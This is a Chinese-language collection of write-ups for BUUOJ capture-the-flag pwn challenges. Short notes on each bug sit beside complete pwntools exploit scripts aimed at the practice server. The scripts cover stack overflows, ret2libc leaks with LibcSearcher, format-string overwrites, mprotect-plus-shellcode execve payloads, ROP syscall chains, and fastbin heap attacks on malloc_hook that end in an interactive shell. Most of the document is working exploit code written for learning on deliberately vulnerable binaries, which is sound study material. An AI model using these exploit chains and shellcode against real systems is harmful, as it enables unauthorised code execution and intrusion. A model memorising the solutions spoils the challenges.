rip
最简单得,栈溢出修改main 函数得ret地址
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29105
conn = remote(HOST ,PORT)
payload = "A"*0x17 + p64(0x40118A)
conn.sendline(payload)
conn.interactive()
warmup_csaw_2016
简单得栈溢出,同上
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27676
conn = remote(HOST ,PORT)
payload = "A"*0x48 + p64(0x400611)
conn.recvuntil(">")
conn.sendline(payload)
conn.interactive()
ciscn_2019_n_1
浮点数
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26824
conn = remote(HOST ,PORT)
payload = "A"*0x2c + "\x00\x80\x34\x41"
conn.recvuntil("Let's guess the number.")
conn.send(payload)
conn.interactive()
pwn1_sctf_2016
这个题目猛一看看蒙了,猛一看c++得STL接触的比较少,这个就是用了c++的string对象,然后fgets将sx写入最长32字节的字符串,后面的功能是将I 替换成you ,原本输入长度为32的字符串不足以栈溢出,替换之后长度变长就会实现栈溢出。
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28382
conn = remote(HOST ,PORT)
payload = "I"*20 + "AAAA" + p32(0x08048F13)
conn.sendline(payload)
pause()
conn.interactive()
jarvisoj_level0
最简单的栈溢出,没什么好说的
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25106
conn = remote(HOST ,PORT)
payload = "I"*0x88 + p64(0x40059A)
conn.sendline(payload)
pause()
conn.interactive()
ciscn_2019_c_1(栈溢出+ret2libc+plt调用)
这个题目有点意思,是最最简单的经典传统的栈溢出问题…中间自己因为好久不做栈犯了好几个错误,下面改正一下。
题目分析:漏洞点明显在encrypt函数中的gets是可以导致栈溢出的(注意gets不会因为\x00截断,我之前就忘记了一直想办法…蠢…)strlen函数是可以被\x00截断的,所以下面的加密我们可以绕过
攻击思路:通过构造stack地址,先是利用ROPgadget结合plt表的puts函数泄露puts got表中的内容,然后利用LibcSearcher判断libc版本,plt puts的返回地址放在encrypt函数,再次触发一次栈溢出,指针指向onegadget地址,注意构造一下栈空间满足onegadget触发条件 利用代码
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
def encode_func(payload):
conn.recvuntil("Input your choice!\n")
conn.sendline("1")
conn.recvuntil("Input your Plaintext to be encrypted")
conn.sendline(payload)
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28214
conn = remote(HOST ,PORT)
pause()
'''步骤一:泄露puts got表中的地址内容,并且将返回地址指回encrypt函数'''
encode_addr = 0x4009A0
pop_rdi_ret = 0x400c83
puts_got = 0x602020
puts_plt = 0x4006E0
payload = "\x00"*8 +"A"*0x50
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(encode_addr)
encode_func(payload)
conn.recvuntil("Ciphertext\n\n")
content = conn.recvuntil("\n")[:-1]
puts_leak = u64(content.ljust(8,"\x00"))
print "The puts_got leak is",hex(puts_leak)
'''步骤二:LibcSearcher判断libc版本'''
libc = LibcSearcher('puts',puts_leak)
libc_base_addr = puts_leak - libc.dump('puts')
print "The libc base addr is",hex(libc_base_addr)
'''步骤三:再次触发栈溢出'''
one_gadget = libc_base_addr + 0x4f302
payload = "\x00"*0x58 + p64(one_gadget) + "\x00"*0x70
conn.sendline(payload)
conn.interactive()
[第五空间2019 决赛]PWN5
简单的32位格式化字符串,思路就是把存放在bss段的全局变量清零即可,然后清零的过程中需要一字节一字节的修改,就好了
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28116
conn = remote(HOST ,PORT)
pause()
conn.recvuntil("your name:")
payload = "%18$hhn%19$hhn%20$hhn%21$hhn".ljust(32,"\x00")
payload += (p32(0x804C044) + p32(0x804C044+1) + p32(0x804C044+2) + p32(0x804C044+3))
conn.send(payload)
conn.recvuntil("your passwd:")
payload = p32(0x0)
conn.send(payload)
conn.interactive()
ciscn_2019_n_8
真的搞不懂和pwn有什么关系
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26693
conn = remote(HOST ,PORT)
pause()
conn.recvuntil("What's your name?")
payload = chr(0x11)*0x35 + "\x00"*20
conn.send(payload)
pause()
conn.interactive()
jarvisoj_level2
什么保护都没有的栈溢出…
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29821
conn = remote(HOST ,PORT)
pause()
bin_sh = 0x0804A024
call_system = 0x0804845C
conn.recvuntil("Input:")
payload = "A"*0x8c + p32(call_system) + p32(bin_sh)
conn.send(payload)
pause()
conn.interactive()
[OGeek2019]babyrop
这个题目稍微有点意思,本质上是考察32位栈溢出的ROP链如何构造的。 题目分析:首先需要绕过sub_804871F 函数,用输入的一个数字匹配随机数,我们利用strlen函数 的\x00 截断功能绕过检查,并且在构造输入的时候,可以将返回的长度变量v5 覆盖成一个很大的数字
至于为什么控制v5 ,因为这个是控制下一个函数输入长度的控制变量
通过这一点就可以在 sub_80487D0 函数中实现栈溢出
然后我的rop链是这么构造的,第一次构造的时候通过调用puts函数泄露libc地址
第一次构造栈溢出的payload内容如下
|------------------------|
| AAAA..... |
|------------------------|
| ......AAAA | ====>0xE7+4长度的随便填充
|------------------------|
| plt_puts | ====>sub_80487D0函数返回地址,执行puts得plt地址
|------------------------|
| main_addr | ====>puts plt得返回地址(需要学习一下plt得原理),返回main函数为了下一次栈溢出得利用
|------------------------|
| read_got | ====>puts函数得输入参数
|------------------------|
第二次构造栈溢出直接onegadget即可,注意多填充一些\x00满足onegadget条件
one_gadget = libc_base_addr + 0x3a819
payload = "A" * (0xE7+4) + p32(one_gadget) + p32(0) * 20
conn.send(payload)
最终利用代码如下
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29515
conn = remote(HOST ,PORT)
main_addr = 0x08048825
read_got = 0x8049FC8
plt_puts = 0x8048548
'''第一步:调用puts函数泄露read got中的地址'''
payload = "\x00" + "\xff" *0x18
conn.send(payload)
conn.recvuntil("Correct\n")
payload = "A" * (0xE7+4)
payload += p32(plt_puts)
payload += p32(main_addr)
payload += p32(read_got)
conn.send(payload)
read_leak = conn.recv(4)
read_leak = u32(read_leak)
print "The read_got is",hex(read_leak)
'''步骤二:计算libc的基址'''
libc = ELF("./libc-2.23-1.so")
libc_base_addr = read_leak - libc.symbols['read']
print "The libc base is",hex(libc_base_addr)
'''步骤三:通过第二次构造栈溢出实现onegadget'''
payload = "\x00" + "\xff" *0x18
conn.send(payload)
conn.recvuntil("Correct\n")
one_gadget = libc_base_addr + 0x3a819
payload = "A" * (0xE7+4) + p32(one_gadget) + p32(0) * 20
conn.send(payload)
conn.interactive()
bjdctf_2020_babystack
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29515
conn = remote(HOST ,PORT)
conn.recvuntil("[+]Please input the length of your name:")
conn.sendline("100")
backdoor = 0x04006EA
conn.recvuntil("[+]What's u name?")
payload = "A"*0x18 + p64(backdoor)
conn.sendline(payload)
conn.interactive()
get_started_3dsctf_2016(mprotect+read+shellcode)
最简单得溢出,本来以为就是利用一下get_flag函数,但是现实还是啪啪啪打脸啊,人家flag在根目录下,所以我们需要用mprotect+read+shellcode 得方法 思路就是利用栈溢出,用mprotect给bss段一个位置授权可执行,然后用read函数将shellcode写在该位置上,最后跳转到bss执行即可
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29928
conn = remote(HOST ,PORT)
file = ELF("./get_started_3dsctf_2016")
main_addr = 0x8048A20
mprotect = file.symbols['mprotect']
bss = 0x80EC000
read = file.symbols['read']
execute_size = 0x30
'''步骤一:利用mprotect函数修改bss段权限位7(可读可写可执行),返回地址main'''
payload = "A"*0x38 + p32(mprotect) + p32(main_addr) + p32(bss) + p32(execute_size) + p32(7)
conn.sendline(payload)
'''步骤二:利用read写入shellcode至bss段,返回地址bss段'''
payload = "A"*0x38 + p32(read) + p32(bss) + p32(0) + p32(bss) + p32(execute_size)
conn.sendline(payload)
'''步骤三:bss段写入shellcode'''
shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
conn.sendline(shellcode)
conn.interactive()
cn_2019_en_2
和ciscn_2019_c_1解题代码一样,条件明明都没变
jarvisoj_level2_x64
简单得64位栈溢出
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25133
conn = remote(HOST ,PORT)
pause()
pop_rdi_ret = 0x04006b3
bin_sh = 0x600A90
call_system = 0x400603
conn.recvuntil("Input:")
payload = "A"*0x88 + p64(pop_rdi_ret) + p64(bin_sh) + p64(call_system)
conn.send(payload)
pause()
conn.interactive()
[HarekazeCTF2019]baby_rop
最简单得栈溢出
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26134
conn = remote(HOST ,PORT)
pop_rdi_ret = 0x0400683
bin_sh = 0x0601048
call_system = 0x04005E3
payload = "A"*0x18 + p64(pop_rdi_ret) + p64(bin_sh) + p64(call_system)
conn.sendline(payload)
conn.interactive()
not_the_same_3dsctf_2016
解题思路和get_started_3dsctf_2016一摸一样
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25916
conn = remote(HOST ,PORT)
pause()
file = ELF("./not_the_same_3dsctf_2016")
main_addr = 0x80489E0
mprotect = file.symbols['mprotect']
bss = 0x80EC000
read = file.symbols['read']
execute_size = 0x30
'''步骤一:利用mprotect函数修改bss段权限位7(可读可写可执行),返回地址main'''
payload = "A"*0x2d + p32(mprotect) + p32(main_addr) + p32(bss) + p32(execute_size) + p32(7)
conn.sendline(payload)
'''步骤二:利用read写入shellcode至bss段,返回地址bss段'''
payload = "A"*0x2d + p32(read) + p32(bss) + p32(0) + p32(bss) + p32(execute_size)
conn.sendline(payload)
pause()
'''步骤三:bss段写入shellcode'''
shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
conn.sendline(shellcode)
conn.interactive()
ciscn_2019_n_5
还是栈溢出,然后泄露got地址在onegadget就行了
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28244
conn = remote(HOST ,PORT)
pause()
bss = 0x601080
pop_rdi_ret = 0x400713
shellcode = ""
puts_got = 0x601018
puts_plt = 0x4004E0
main = 0x400636
'''1'''
conn.recvuntil("tell me your name")
conn.sendline(" ")
conn.recvuntil("What do you want to say to me?")
payload = "A"*0x28 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
conn.sendline(payload)
conn.recvuntil("\n")
puts_leak = conn.recvuntil("\n")[:-1]
puts_leak = u64(puts_leak.ljust(8,"\x00"))
print hex(puts_leak)
libc = LibcSearcher('puts',puts_leak)
libc_base_addr = puts_leak - libc.dump('puts')
print "The libc base addr is",hex(libc_base_addr)
'''2'''
conn.recvuntil("tell me your name")
conn.sendline(" ")
conn.recvuntil("What do you want to say to me?")
one_gadget = libc_base_addr + 0x4f302
payload = "A"*0x28 + p64(one_gadget) + p64(0)*16
conn.sendline(payload)
conn.interactive()
others_shellcode
无语…这是哪门子pwn?
nc node4.buuoj.cn 26997
ciscn_2019_ne_5(__environ泄露栈地址)
这个题目居然能看到其他有趣的地,首先发现IDA无法正常编辑,现象是
通过查询资料https://blog.csdn.net/CSNN2019/article/details/117219906应该是call的调用函数出了问题
用y调整成正常的scanf函数的样子就可以正常编译了
在AddLog函数中因为栈空间错误无法正常反编译
修改方法
1.在option-general-disssembly-stackpoint
2.ALT + K 直接修改栈值
但是我的方法是直接修改hex值
然后单纯从这道题来看也是稍微有点意思的,首先漏洞点在AddLog 和GetFlag 的组合之间,源于GetFlag 函数中的strcpy 函数会将src长度长于栈空间的内容复制导致栈溢出。 而且32位的栈空间和libc地址都是填满的,方便我们构造ROP链 我的解题方法如下
- 第一步:利用栈溢出调用puts函数泄露printf got表中的地址,从而计算libc基地址
- 第二步:利用libc基地址计算__environ地址位置,然后利用puts泄露__environ内容
- 第三步:将
/bin/sh; 写入栈空间,用__environ计算偏移量,然后调用system函数getshell
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
def AddLog(payload):
conn.sendline("1")
conn.recvuntil("Please input new log info:")
conn.sendline(payload)
def GetFlag():
conn.sendline("4")
def Display():
conn.sendline("2")
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26445
conn = remote(HOST ,PORT)
pause()
exit = 0x8048923
puts_plt = 0x80484C0
printf_got = 0x804A014
main = 0x8048722
system_plt=0x80484D0
'''======第一步:泄露printf在got表中的地址,从而计算libc基地址======'''
conn.recvuntil("Please input admin password:")
conn.sendline("administrator")
conn.recvuntil("Welcome!")
payload_test = "A"*0x4c+ p32(puts_plt) + p32(main) + p32(printf_got)
AddLog(payload_test)
GetFlag()
conn.recvuntil("The flag is your log:")
conn.recv(len(payload_test)+1)
printf_leak = conn.recv(4)
printf_leak = u32(printf_leak)
print "The printf is",hex(printf_leak)
'''判断libc版本,计算libc基地址'''
libc = LibcSearcher('printf',printf_leak)
libc_base = printf_leak - libc.dump("printf")
'''根据libc基地址计算environ变量偏移'''
environ = libc_base + libc.dump("environ")
print "The environ is",hex(environ)
'''======第二步:泄露environ地址内容======'''
conn.recvuntil("Please input admin password:")
conn.sendline("administrator")
conn.recvuntil("Welcome!")
gets_addr = libc_base + libc.dump("gets") + 1
print "The gets addr is",hex(gets_addr)
payload_attack = "A"*0x4c+ p32(puts_plt) + p32(main) + p32(environ)
AddLog(payload_attack)
GetFlag()
conn.recvuntil("The flag is your log:")
conn.recv(len(payload_test)+1)
environ_leak = conn.recv(4)
environ_leak = u32(environ_leak)
print "The environ_leak is",hex(environ_leak)
stack_target = environ_leak - 0x3f0
'''======第三步:泄露environ地址内容======'''
conn.recvuntil("Please input admin password:")
conn.sendline("administrator")
conn.recvuntil("Welcome!")
payload_attack = "/bin/sh;".ljust(0x4c,"A")+ p32(system_plt) + p32(exit) + p32(stack_target)
AddLog(payload_attack)
GetFlag()
conn.interactive()
铁人三项(第五赛区)_2018_rop
简单的栈溢出,用write函数泄露read got表地址,然后利用onegadget实现控制
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25774
conn = remote(HOST ,PORT)
pause()
'''步骤一:泄露read got表地址'''
read_got = 0x0804A000
write_plt=0x080483A0
main = 0x080484C6
payload = "A"*0x8c + p32(write_plt) + p32(main) + p32(0x1) + p32(read_got) + p32(0x4)
conn.sendline(payload)
read_leak = u32(conn.recv(4))
libc = LibcSearcher("read",read_leak)
libc_base = read_leak - libc.dump("read")
print "The libc base is",hex(libc_base)
'''步骤二:利用onegadget'''
one_gadget = libc_base + 0x672a0
payload = "A"*0x8c + p32(one_gadget) + p32(0)*4
conn.sendline(payload)
conn.interactive()
bjdctf_2020_babyrop
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25861
conn = remote(HOST ,PORT)
pause()
read_got = 0x0601020
puts_got = 0x0601018
__libc_start_main = 0x0601028
setvbuf = 0x0601030
puts_plt=0x4004E0
main = 0x04006AD
pop_rdi_ret = 0x400733
conn.recvuntil("Pull up your sword and tell me u story!")
payload = "\x00"*0x28 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
pause()
conn.sendline(payload)
conn.recv()
puts_leak = conn.recv(6).ljust(8,"\x00")
puts_leak = u64(puts_leak)
print "The __libc_start_main got is",hex(puts_leak)
libc = LibcSearcher("puts",puts_leak)
libc_base = puts_leak - libc.dump("puts")
print "The libc base is",hex(libc_base)
conn.recvuntil("Pull up your sword and tell me u story!")
one_gadget = libc_base + 0x170ed2
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
print "system addr is ",hex(system_addr)
print "/bin/sh is ",hex(bin_sh_addr)
envrion = libc_base + 0x170ed2
pop_r12_r13_r14_r15_ret = 0x40072C
payload = "A"*0x28 + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
conn.sendline(payload)
''''''
conn.interactive()
bjdctf_2020_babystack2
简单的无符号整数的判断绕过长度限制,然后任意长度输入实现栈溢出,没什么难度
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27768
conn = remote(HOST ,PORT)
pause()
call_system = 0x40072A
conn.recvuntil("[+]Please input the length of your name:")
conn.sendline("-1")
payload = "A"*0x18 + p64(call_system)
conn.sendline(payload)
conn.interactive()
jarvisoj_fm
格式化字符串修改全局变量
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26653
conn = remote(HOST ,PORT)
pause()
payload = "%4c%14$hhn\x00\x00" + p32(0x804A02C)
conn.sendline(payload)
conn.interactive()
pwn2_sctf_2016(syscall调用的方法有趣!)
这个题目很有趣,首先漏洞很容易,就是输入长度以后使用read函数进行输入一个字符串,因为自定义的get_n使用的是unsigned int,所以输入负数就可以实现栈溢出。 然后下面有两种方法实现利用 方法一:使用syscall调用函数 栈溢出在整体的思路不变的情况下,使用int 80h调用shell
调用syscall我们需要控制eax 、ebx 、ecx 、edx ,实现条件为
eax -> 11 (execve)
ebx -> "/bin/sh"
ecx -> NULL
edx -> NULL
我们先整理出来需要用到的指令
inc_eax_ret = 0x80484D3
inc_ecx_ret = 0x80484D7
pop_ebx_ret = 0x804835d
pop_edi_ebp_ret = 0x804864E
pop_ebp_ret = 0x804864F
add_ecx_ecx_ret = 0x804849a
int_80 = 0x80484D0
printf_plt = 0x8048370
gets_n = 0x80484E3
bin_sh_bss = 0x0804A028
null_ecx_pos = 0x8048851
第一步:利用get_n函数将/bin/sh 写入到bss段
第二步:调用printf函数打印/bin/sh ,这个时候eax和ecx被控制成字符串长度7
第三步:利用inc eax 控制好eax值
第四步:利用pop ebx控制ebx
第五步:利用add ecx,ecx 和 inc ecx 将ecx 控制到null_ecx_pos
第六步:调用int 80h
直接看代码把,但是这个题目不能这么打,会因为程序异常失败
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26332
conn = remote("localhost" ,1234)
pause()
inc_eax_ret = 0x80484D3
inc_ecx_ret = 0x80484D7
pop_ebx_ret = 0x804835d
pop_edi_ebp_ret = 0x804864E
pop_ebp_ret = 0x804864F
add_ecx_ecx_ret = 0x804849a
int_80 = 0x80484D0
printf_plt = 0x8048370
gets_n = 0x80484E3
bin_sh_bss = 0x0804A028
null_ecx_pos = 0x8048851
conn.recvuntil("How many bytes do you want me to read?")
conn.sendline("-1")
conn.recvuntil("Ok, sounds good. Give me")
payload = "A" * 0x30
payload += (p32(gets_n) + p32(pop_edi_ebp_ret) + p32(bin_sh_bss) + p32(0x11111111))
payload += (p32(printf_plt) + p32(pop_ebp_ret) + p32(bin_sh_bss))
payload += (p32(inc_eax_ret)*4)
payload += (p32(pop_ebx_ret) + p32(bin_sh_bss))
ecx_now = 0x7
target_ecx = null_ecx_pos
info = null_ecx_pos
temp = []
while info != ecx_now:
if info < ecx_now * 2:
temp.append(0)
info -= 1
elif info % 2 == 0:
temp.append(1)
info /= 2
else:
temp.append(0)
info -= 1
for index in range(len(temp)-1,-1,-1):
if temp[index] == 0:
payload += p32(inc_ecx_ret)
elif temp[index] == 1:
payload += p32(add_ecx_ecx_ret)
payload += p32(int_80)
conn.sendline(payload)
pause()
conn.sendline("/bin/sh\x00")
conn.interactive()
方法二:知道libc情况下计算调用system函数 这个就是一般的栈溢出的利用思路,只不过注意buuctf的libc是在网站上给了的,和libcsearcher下载的不太一样 然后再寻找/bin/sh 字符串学到了新方法,这个方法直接放代码了,很清楚了
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25725
conn = remote(HOST ,PORT)
'''步骤一:利用栈溢出泄露libc地址,调用printf函数'''
printf_plt = 0x8048370
vlun = 0x804852F
printf_got = 0x804A00C
__libc_start_main = 0x804a018
conn.recvuntil("How many bytes do you want me to read?")
conn.sendline("-1")
conn.recvuntil("Ok, sounds good. Give me")
payload = "A"*0x30 + p32(printf_plt) + p32(vlun) + p32(__libc_start_main)
conn.sendline(payload)
conn.recvuntil("\n")
__libc_start_main_leak = u32(conn.recv(4))
print "The __libc_start_main leak is",hex(__libc_start_main_leak)
libc = LibcSearcher("__libc_start_main",__libc_start_main_leak)
libc_base = __libc_start_main_leak - libc.dump("__libc_start_main")
print "The libc base is",hex(libc_base)
'''步骤二:调用system函数'''
conn.recvuntil("How many bytes do you want me to read?")
conn.sendline("-1")
conn.recvuntil("Ok, sounds good. Give me")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
exit = libc_base + libc.dump("exit")
payload = "A"*0x30 + p32(system) + p32(exit) + p32(bin_sh)
conn.sendline(payload)
conn.interactive()
babyheap_0ctf_2017(Chunk Extend + Fastbin attack)
这个题目可以说是堆溢出的经典题目了,整体上思路是利用fill函数的写溢出,通过Chunk Extend的方法构造fake chunk,再泄露出main_arena地址,然后用fastbin bin attack控制malloc hook和realloc hook实现onegadget 函数功能很简单,不再过多赘述,具体的细节再下面的步骤中提及 第一步:利用Chunk Extend制造fake chunk 首先是为什么一定要这样?因为程序中对dump内容的长度是有限制的
'''步骤一:利用Chunk Extend,伪造第2块的长度'''
allocate(0x90)
allocate(0x20)
allocate(0x20)
allocate(0x90)
allocate(0x20)
allocate(0x60)
allocate(0x20)
allocate(0x60)
allocate(0x20)
payload = "A"*0x20 + p64(0) + p64(0xd1)
fill(1,payload)
free(2)
allocate(0xc0)
fix = p64(0)*5 + p64(0xa1)
fill(2,fix)
第二步:利用smallbin泄露main arena地址 这一步是常规操作了,直接看代码就能看懂
第三步:fastbin attack 实现堆malloc hook和realloc hook的控制 这一步也是常规操作,注意在申请malloc hook附近的串要错位申请,申请大小只能时0x60,这也是为什么前面的第五个块大小是0x60的原因,同一个fastbin链的Size必须是一致的
'''第三步:fastbin attack 实现堆malloc hook和realloc hook的控'''
free(7)
free(5)
payload = p64(0)*5 + p64(0x71) + p64(malloc_hook-0x20 - 3)
fill(4,payload)
allocate(0x60)
allocate(0x60)
第四步:计算onegadget偏移,触发漏洞
总结代码如下
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
def allocate(size):
conn.recvuntil("Command:")
conn.sendline("1")
conn.recvuntil("Size:")
conn.sendline(str(size))
def fill(index,content):
conn.recvuntil("Command:")
conn.sendline("2")
conn.recvuntil("Index:")
conn.sendline(str(index))
conn.recvuntil("Size:")
conn.sendline(str(len(content)))
conn.recvuntil("Content:")
conn.send(content)
def free(index):
conn.recvuntil("Command:")
conn.sendline("3")
conn.recvuntil("Index:")
conn.sendline(str(index))
def dump(index):
conn.recvuntil("Command:")
conn.sendline("4")
conn.recvuntil("Index:")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28616
conn = remote(HOST ,PORT)
'''步骤一:利用Chunk Extend,伪造第2块的长度'''
allocate(0x90)
allocate(0x20)
allocate(0x20)
allocate(0x90)
allocate(0x20)
allocate(0x60)
allocate(0x20)
allocate(0x60)
allocate(0x20)
payload = "A"*0x20 + p64(0) + p64(0xd1)
fill(1,payload)
free(2)
allocate(0xc0)
fix = p64(0)*5 + p64(0xa1)
fill(2,fix)
'''第二步:利用smallbin泄露main arena地址'''
free(3)
free(0)
payload = "A"*0x30
fill(2,payload)
dump(2)
conn.recvuntil("A"*0x30)
main_arena_88 = conn.recv(6).ljust(8,"\x00")
main_arena = u64(main_arena_88) - 88
malloc_hook = main_arena - 0x10
print "The malloc hook is",hex(malloc_hook)
libc = LibcSearcher("__malloc_hook",malloc_hook)
libc_base = malloc_hook - libc.dump("__malloc_hook")
print "The libc base is ",hex(libc_base)
'''第三步:fastbin attack 实现堆malloc hook和realloc hook的控'''
free(7)
free(5)
payload = p64(0)*5 + p64(0x71) + p64(malloc_hook-0x20 - 3)
fill(4,payload)
allocate(0x60)
allocate(0x60)
'''第四步:利用malloc hook和realloc hook实现onegadget'''
one_gadget = libc_base + 0xf1147
print "The one_gadget is",hex(one_gadget)
realloc = libc_base + libc.dump("realloc")
print "The realloc is ",hex(realloc)
payload = "\x00" * (0x8 + 3) + p64(one_gadget)+ p64(realloc)
fill(3,payload)
allocate(0x20)
conn.interactive()
|